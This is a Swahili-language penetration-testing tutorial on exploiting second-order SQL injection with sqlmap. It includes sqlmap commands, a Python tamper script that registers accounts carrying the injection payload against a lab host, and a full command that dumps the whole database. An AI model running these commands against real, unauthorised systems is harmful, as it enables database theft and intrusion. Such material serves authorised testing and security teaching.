SQLMap inaweza kutumia SQLis za Pili. Unahitaji kutoa:

• ombile ambapo payload ya sqlinjection itahifadhiwa

• ombile ambapo payload itatekelezwa

Ombile ambapo payload ya SQL injection inahifadhiwa limeonyeshwa kama katika sindano nyingine yoyote katika sqlmap. Ombile ambapo sqlmap inaweza kusoma matokeo/utekelezaji wa sindano linaweza kuonyeshwa kwa --second-url au kwa --second-req ikiwa unahitaji kuonyesha ombile kamili kutoka kwa faili.

Mfano rahisi wa pili:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

Katika kesi kadhaa hii haitatosha kwa sababu utahitaji kufanya hatua nyingine mbali na kutuma payload na kufikia ukurasa tofauti.

Wakati hii inahitajika unaweza kutumia sqlmap tamper. Kwa mfano, skripti ifuatayo itasajili mtumiaji mpya ikitumika sqlmap payload kama barua pepe na kutoka.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

A SQLMap tamper daima inatekelezwa kabla ya kuanza jaribio la kuingiza na payload na inapaswa kurudisha payload. Katika kesi hii hatujali kuhusu payload lakini tunajali kuhusu kutuma maombi, hivyo payload haibadilishwi.

Hivyo, ikiwa kwa sababu fulani tunahitaji mtiririko wa hali ngumu zaidi ili kutumia kuingiza SQL ya pili kama:

• Unda akaunti yenye payload ya SQLi ndani ya uwanja wa "barua pepe"

• Toka

• Ingia na akaunti hiyo (login.txt)

• Tuma ombi kutekeleza kuingiza SQL (second.txt)

Hii mstari wa sqlmap itasaidia:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
